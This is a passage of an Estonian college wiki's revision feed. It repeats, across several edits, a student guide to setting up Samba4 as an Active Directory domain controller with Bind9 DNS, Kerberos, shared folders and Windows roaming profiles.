&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja ka pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemus peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;. &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool newuser share&lt;br /&gt;
samba-tool newuser opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Tehtud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsiooni faili smb.conf &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba.smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu juurde järgmised read&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = üldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Nüüd teeme Samba4-le väikese restardi ja kaustad peaksid olema seejärel väljajagatud.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada ja siis saab Active Directory kaudu läbi Windowsi masina Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
Tuleb meeles pidada, et roaming profile juures peab domeenis sisselogima sama Windowsi versiooniga masinaga. Erinevate Windowsite alt sisselogides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust ja see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud kaughalduse programm administreerimaks domeeni serverit, tuleb võtta lahti Start-&amp;gt;Run-&amp;gt; dsa.msc&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, võtta lahti parem klõpsuga nende Properties ja Profile sektsiooni lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
ja muudatused ära salvestada ning käivitada Start-&amp;gt;Run &#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Peale seda korraks väljalogides ja vastava kasutajaga sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60458</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60458"/>
		<updated>2013-01-08T06:43:30Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Tehtud kaustade väljajagamine ja õiguste määramised */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja ka pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemus peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;. &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool newuser share&lt;br /&gt;
samba-tool newuser opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Tehtud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsiooni faili smb.conf &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba.smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu juurde järgmised read&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = üldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60457</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60457"/>
		<updated>2013-01-08T06:39:21Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Kasutajate ja gruppide ning jagatavate kaustade loomine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
